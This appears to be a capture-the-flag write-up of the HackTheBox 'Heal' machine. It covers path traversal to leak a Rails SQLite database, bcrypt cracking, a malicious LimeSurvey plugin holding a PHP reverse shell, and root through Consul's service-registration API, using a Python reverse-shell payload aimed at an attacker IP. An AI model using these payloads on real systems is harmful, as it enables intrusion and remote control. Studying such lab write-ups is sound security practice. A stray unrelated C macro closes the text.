RECON

Port Scan

$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
|   256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

URL: http://heal.htb/

Impression

A web app for resume builder:

Try to create an account but fail:

Because it sent a POST request to http://api.heal.htb, which we should then add the new subdomain to /etc/hosts file:

After the proper configuration, we can now access the resume builder as an authenticated user:

We can export the resume as a PDF by sending two consecutive requests to the server: a POST request to /exports with a valid JWT token, followed by a GET request to /download?filename=...:

The POST request to /exports provides the HTML content that the server uses to generate a PDF:

In the HTTP response, we observed the x-runtime header—a strong indicator of a Ruby on Rails application. This header, typically added by the Rails framework, reveals the request's processing time. We'll analyze this further later.

The request also includes a verified JWT:

Survey | LimeSurvey

The above operations are triggered via JavaScript buttons. However, when we hover over the Survey option in the menu, a new subdomain is revealed: http://take-survey.heal.htb. This becomes visible as we move the cursor over the button:

We can submit a POST form request with custom input:

Example request intercepted by BurpSuite when I input aaaaaaaaaaaa to submit:

HTTP
POST /index.php/552933 HTTP/1.1
Host: take-survey.heal.htb
Content-Length: 290
Cache-Control: max-age=0
Origin: http://take-survey.heal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://take-survey.heal.htb/index.php/552933
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: YII_CSRF_TOKEN=WjBCdXdqclNLRG9ndnJoVDN0OFNfcV9uNTRiaGNBXzaxAjBDvOZiC84Y7dYEetA4_tUnuKsa68ntaEwRGNnb1Q%3D%3D; LS-ZNIDJBOXUNKXWTIP=g6u2kp2t0a7p1vndqvgerdbfhs
Connection: keep-alive

YII_CSRF_TOKEN=WjBCdXdqclNLRG9ndnJoVDN0OFNfcV9uNTRiaGNBXzaxAjBDvOZiC84Y7dYEetA4_tUnuKsa68ntaEwRGNnb1Q%3D%3D&fieldnames=552933X2X2&thisstep=1&sid=552933&start_time=1734240437&LEMpostKey=1193404575&relevance2=1&relevanceG0=1&552933X2X2=aaaaaaaaaaaa&lastgroup=552933X2&ajax=off&move=movesubmit

The session will expire if we refresh the page:

And visiting found subdomain http://take-survey.heal.htb/ will tell us it's served by LimeSurvey:

By analyzing the JavaScript paths in BurpSuite and exploding them, we uncover some interesting URIs:

/index.php/admin/authentication/sa/login
/index.php/admin/authentication/sa/forgotpassword

It appears to be a login entry for Administrator:

Profile

The Profile menu confirms that we are not an admin, and the ID matches the one embedded in the JWT:

LinkFinder

Using LinkFinder, we uncover additional interesting endpoints:

/home/ralph/resume-builder/src/App.js
/home/ralph/resume-builder/src/componenets/Home.js
/home/ralph/resume-builder/src/componenets/TakeSurvey.js
/home/ralph/resume-builder/src/componenets/Error.js

Furthermore, the Ralph user appears to be the web admin.

Ruby | Rail Framework

From the above reconnaissance, we know the web app is a Ruby on Rails application, according to responses such as the following example:

HTTP
HTTP/1.1 201 Created
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 15 Dec 2024 06:54:25 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 76
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers: 
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
etag: W/"ae617bb76b34bdc095d263e476594cb7"
cache-control: max-age=0, private, must-revalidate
x-request-id: 3c2319e0-a372-4661-8a2f-0fa9445c9969
x-runtime: 0.301694
vary: Origin

{"message":"PDF created successfully","filename":"d68502e99286800f3f3b.pdf"}
  • x-runtime Header:
    • This header is specific to Ruby on Rails and is used to track the runtime of the request.
    • It measures the duration Rails takes to process the request in seconds (0.301694 in this case).

Ruby on Rails, often just called Rails, is a web application framework written in the Ruby programming language. It provides developers with tools and conventions to build web applications quickly and efficiently. Rails follows the Model-View-Controller (MVC) architectural pattern.

Expanded Directory Structure:

/app/               # Core application code
  /controllers/     # Handles requests and controls app flow
  /models/          # Business logic and data (interacts with the database)
  /views/           # HTML templates and front-end rendering logic
  /helpers/         # Helper methods for views
  /mailers/         # Email logic and templates
  /channels/        # WebSocket-related code

/config/            # Configuration files
  /database.yml     # Database connection settings
  /routes.rb        # Application routes (URL mappings to controllers)
  /secrets.yml      # (Deprecated) Secrets or sensitive configurations
  /credentials.yml  # Encrypted credentials (newer Rails versions)
  
/db/                # Database-related files
  /migrate/         # Migration files (define schema changes)
  
/log/               # Logs of server activities
/public/            # Publicly accessible files (e.g., `index.html`, images)
/storage/           # Uploaded files handled by Active Storage
/test/ or /spec/    # Tests for the application (depending on test framework)
/vendor/            # Third-party libraries

Root Directory Files:

  • Gemfile: Specifies Ruby gems (dependencies) for the application.
  • Gemfile.lock: Locks the gem versions to ensure consistent dependencies.
  • Rakefile: Defines tasks for automation (e.g., database setup or test runs).
  • config.ru: Used by Rack-based servers (like Puma) to run the application.
  • README.md: Documentation for the application, often used on GitHub.
  • package.json: (Optional) Manages JavaScript dependencies if using a JavaScript build tool.
  • .ruby-version: Specifies the Ruby version for the application.
  • .gitignore: Defines files or directories to be ignored by Git.

Ralph

LFI | Path Traversal

Since we already know that the server processes HTML to PDF and allows downloading files via two consecutive requests, it raises potential vulnerabilities such as Local File Inclusion (LFI) or Path Traversal.

A quick test on the /download endpoint shows we can directly send a GET request instead of the expected OPTIONS method:

The initial 401 Unauthorized response indicates the resource is protected and requires proper authentication, flagged as "Invalid token." This implies the need for a valid JWT to access specific resources.

We observed earlier that a valid JWT was included in the POST request to /exports when clicking the "EXPORT AS PDF" button. By copying the same JWT into the Authorization header and resending the GET request to /download, the server now accepts the request:

Now that we can legally access the resource, we test the filename parameter for potential vulnerabilities, such as Path Traversal. This classic attack involves manipulating the file path using ../ to escape directory restrictions:

At this stage, we now know two users exist in the target environment — Ralph and Ron, and that the application relies on a PostgreSQL database.

Since the application is a Ruby on Rails web app, common files like README.md or configuration files are likely present in the project root. By testing incrementally, we successfully leak the README.md with the following request:

HTTP
GET /download?filename=../../README.md

Leaked README.md:

# README

This README would normally document whatever steps are necessary to get the
application up and running.

Things you may want to cover:

* Ruby version

* System dependencies

* Configuration

* Database creation

* Database initialization

* How to run the test suite

* Services (job queues, cache servers, search engines, etc.)

* Deployment instructions

* ...

Leak the Gemfile specifying Ruby gems (dependencies) for the application:

HTTP
GET /download?filename=../../Gemfile

Leaked Gemfile:

source "https://rubygems.org"

ruby "3.3.5"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"

# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'

# Use the Puma web server [https://github.com/puma/puma]
gem "puma", ">= 5.0"

# Build JSON APIs with ease [https://github.com/rails/jbuilder]
# gem "jbuilder"

# Use Redis adapter to run Action Cable in production
# gem "redis", ">= 4.0.1"

# Use Kredis to get higher-level data types in Redis [https://github.com/rails/kredis]
# gem "kredis"

# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
# gem "bcrypt", "~> 3.1.7"

# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]

# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false

# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
# gem "image_processing", "~> 1.2"

# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin Ajax possible
# gem "rack-cors"

group :development, :test do
  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
  gem "debug", platforms: %i[ mri windows ]
end

group :development do
  # Speed up commands on slow machines / big apps [https://github.com/rails/spring]
  # gem "spring"
end

The leaked Gemfile provides valuable insights into the structure and functionalities of the Rails application:

  • The application runs on Ruby version 3.3.5 and uses Rails 7.1.3.4.
  • SQLite3 is used as the database backend.
  • JWT (JSON Web Tokens) for token-based authentication.
  • BCrypt for securely hashing and storing user passwords.
  • Gem imgkit used to convert HTML to images or PDFs.
  • Gem rack-cors handles cross-origin requests.
  • Gem rexml provides XML parsing functionality, suggesting XML may be used in data
  • Gem puma is the web server, known for its speed and performance.

Leak configuration files under /config, such as /config/database.yml which provides details about the application's database setup:

HTTP
GET /download?filename=../../config/database.yml

Leaked database.yml:

YAML
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3
  • adapter: sqlite3: The application uses SQLite3, a lightweight, file-based database engine.
  • database: storage/development.sqlite3: The development database file is located at storage/development.sqlite3.
  • database: storage/test.sqlite3: The test database is isolated and automatically refreshed during test runs.
  • The production environment is incorrectly configured to use the same database as development. This is a serious misconfiguration for real-world deployments and could lead to data corruption or unintentional leaks.

Therefore, we can then leak /storage/development.sqlite3 using LFI again:

HTTP
GET /download?filename=../../storage/development.sqlite3

Save the database file to our attack machine and dump the database:

Bash
sqlite3 development.sqlite3 .dump > dump.sql

We retrieve 2 password hashes from the user table, including web admin Ralph:

Hash type identified, as we also knew it from previous enumeration:

It turns out this is crackable with Hashcat mode 3200:

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94▒▒▒▒▒▒▒ZnG:1472▒▒▒▒

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))

RCE | LimeSurvey Plugin

Since Ralph is the web admin, we can use the found credentials to login the web app:

We can also try to login http://take-survey.heal.htb/index.php/admin/authentication/sa/login, which we cannot when we was a normal user. After logging in we discover the version number is 6.6.4 :

Investigating the administrator panel, we discovered a Plugin upload option—commonly exploited for Remote Code Execution (RCE) attacks:

There's a practical RCE example provided in this GitHub repository. We can download the exploit and modify it based on the sample to suit our target environment.

First create a config.xml to suit for our case (e.g.: Name: Axura, Version: 6.6.4):

XML
<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Axura</name>
        <type>plugin</type>
        <creationDate>2024-12-14</creationDate>
        <lastUpdate>2024-12-14</lastUpdate> 
        <author>Axura</author>
        <authorUrl>https://4xura.com</authorUrl>
        <supportUrl>https://4xura.com</supportUrl>
        <version>6.6.4</version> 
        <license>GNU General Public License version 2 or later</license>
        <description>
            <![CDATA[Author : Axura]]>
        </description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.6.4</version> 
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Then create a PHP reverse shell script using a publicly available example, such as Ivan's PHP reverse shell. Save the script as rev.php, then compress it into a .zip file to prepare it for upload:

$ zip axura.zip rev.php config.xml
  adding: rev.php (deflated 72%)
  adding: config.xml (deflated 58%)
  
$ ls axura.zip
axura.zip

Upload the malicious ZIP plugin and install:

Activate the plugin:

Visit the reverse shell according to format url+{upload/plugins/#Name/#Shell_file_name}. In my case, it's:

Bash
curl http://take-survey.heal.htb/upload/plugins/Axura/rev.php

And we have the web root shell:

RON

Run linpeas.sh for enumeration, although the shell is quite not stable:

In fact, configuration files are prime targets when inspecting the web root, especially for database credentials. Since we know the target uses PostgreSQL, we can focus on LimeSurvey’s main configuration file, typically located at /var/www/html/application/config/config.php. This file often contains the database connection details, including host, username, and password:

This turns out to be Ron’s SSH login password after a successful password spray attempt:

And we can take user flag here.

ROOT

Enum

Enumerate the machine internally, we discover quite some open ports on localhost:

  • PostgreSQL - Port 5432
  • Application Services - Ports 3000, 3001
    • It's related to the web app as we enumerate the nginx.conf file with LFI.
  • HashiCorp Consul - Ports 8500, 8600, 8300-8302
    • Consul is running (127.0.0.1), which is often used for service discovery and key-value storage.

We can actually check endpoints:

Bash
# Enum all Key-Value (KV) pairs stored in the Consul KV store.
curl http://127.0.0.1:8500/v1/kv/?recurse

# Retrieves metadata & configuration info about Consul agent 
curl http://127.0.0.1:8500/v1/agent/self

Bingo:

HashiCorp Consul

HashiCorp Consul is an open-source tool used for service discovery, configuration management, and distributed key-value storage. It is commonly used in cloud-native environments to manage microservices and facilitate communication between them.

Since Consul is running on 127.0.0.1:8500, we can Port-forward using SSH:

Bash
ssh -L 8500:127.0.0.1:8500 [email protected]

With version number leaked Consul v1.19.2:

POC

If we search vulnerabilites for HashiCorp Consul of related versions, we can easily find the POC posted here.

This script exploits a command injection vulnerability in Consul Api Services. The vulnerability exists in the ServiceID parameter of the PUT /v1/agent/service/register API endpoint. The ServiceID parameter is used to register a service with the Consul agent. The ServiceID parameter is not sanitized and allows for command injection. This vulnerability can be used to execute arbitrary commands on the host running the Consul agent.

However, it requires a CONSUL_TOKEN to perform certain actions, such as creating a service via the API endpoint. Unfortunately, we don’t have one (commonly referred to as a SecretID) to log in to the Consul dashboard.

Moreover, analyzing the dump from curl http://127.0.0.1:8500/v1/agent/self reveals that ACLs are enabled, but many tokens, such as ACLInitialManagementToken and ACLAgentToken, are marked as "hidden".

  • Access Control Lists (ACLs) are used in Consul to enforce permissions on API endpoints.
  • When ACLs are enabled, valid ACL tokens are typically required for actions like registering services or creating health checks.

But we can check if there's misconfiguration which allows us to bypass certain authentication.

To identify potential misconfigurations or overly permissive ACL settings that could allow us to bypass authentication, we analyze the config.json file using the following commands:

# Check if ACLs are enabled in the configuration. 
# If this returns "true," ACL enforcement is active.
$ jq '.DebugConfig.ACLResolverSettings.ACLsEnabled' config.json
true

# Identify the default policy for ACLs. 
# If it's "allow," it indicates all actions are permitted unless explicitly restricted.
$ jq '.DebugConfig.ACLResolverSettings.ACLDefaultPolicy' config.json
"allow"

# List all defined ACL tokens. 
# These tokens are essential for authentication and authorization
# But some may be hidden for security reasons.
$ jq '.DebugConfig.ACLTokens' config.json
{
  "ACLAgentRecoveryToken": "hidden",
  "ACLAgentToken": "hidden",
  "ACLConfigFileRegistrationToken": "hidden",
  "ACLDNSToken": "hidden",
  "ACLDefaultToken": "hidden",
  "ACLReplicationToken": "hidden",
  "DataDir": "/var/lib/consul",
  "EnablePersistence": false,
  "EnterpriseConfig": {}
}
  • Misconfiguration Risk: The ACLDefaultPolicy being set to "allow" could result in unauthorized access, especially if tokens are not strictly required.
  • Token Enumeration: Even if the tokens are hidden, the structure reveals what types of tokens exist.

While ACLDefaultPolicy: allow suggests actions like service registration without tokens are permitted, we can test if the API accepts requests without a token.

First, create a file named test.json with minimal information:

JSON
{
  "Name": "simple-service",
  "ID": "simple-service",
  "Port": 8080
}

Then use the following curl command to register the service:

Bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d @test.json

In the dashboard, we can see a new service created:

We’ve verified that the Consul API allows service registration without additional authentication.

Exploit

Now that the misconfiguration (ACL default policy allow) is verified, which mean we don't need a token to create a service. We can construct the attack to achieve Remote Command Execution (RCE) using the service.register API.

Step 1 | Create a Malicious JSON Payload

To exploit the misconfiguration, we will craft a JSON payload that uses the check feature to execute arbitrary commands, according to the original POC script. However, the bash seems to be restricted:

Thus we can attempt other shells or methods like Python. The Args parameter in the service check can trigger a reverse shell.:

JSON
{
  "Name": "revshell-py",
  "ID": "revshell-py",
  "Address": "127.0.0.1",
  "Port": 80,
  "Check": {
    "Args": ["/usr/bin/python3", "-c", "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.▒▒.▒▒\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")"],
    "Interval": "10s",
    "Timeout": "1337s"
  }
}

Step 2 | Start a Netcat Listener

Bash
rlwrap nc -lvnp 4444

Step 3 | Send the Payload to the Target

Use the curl command to send the payload to the Consul API:

Bash
curl -X PUT --data-binary @revshell_py.json http://127.0.0.1:8500/v1/agent/service/register

Service created:

Rooted:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)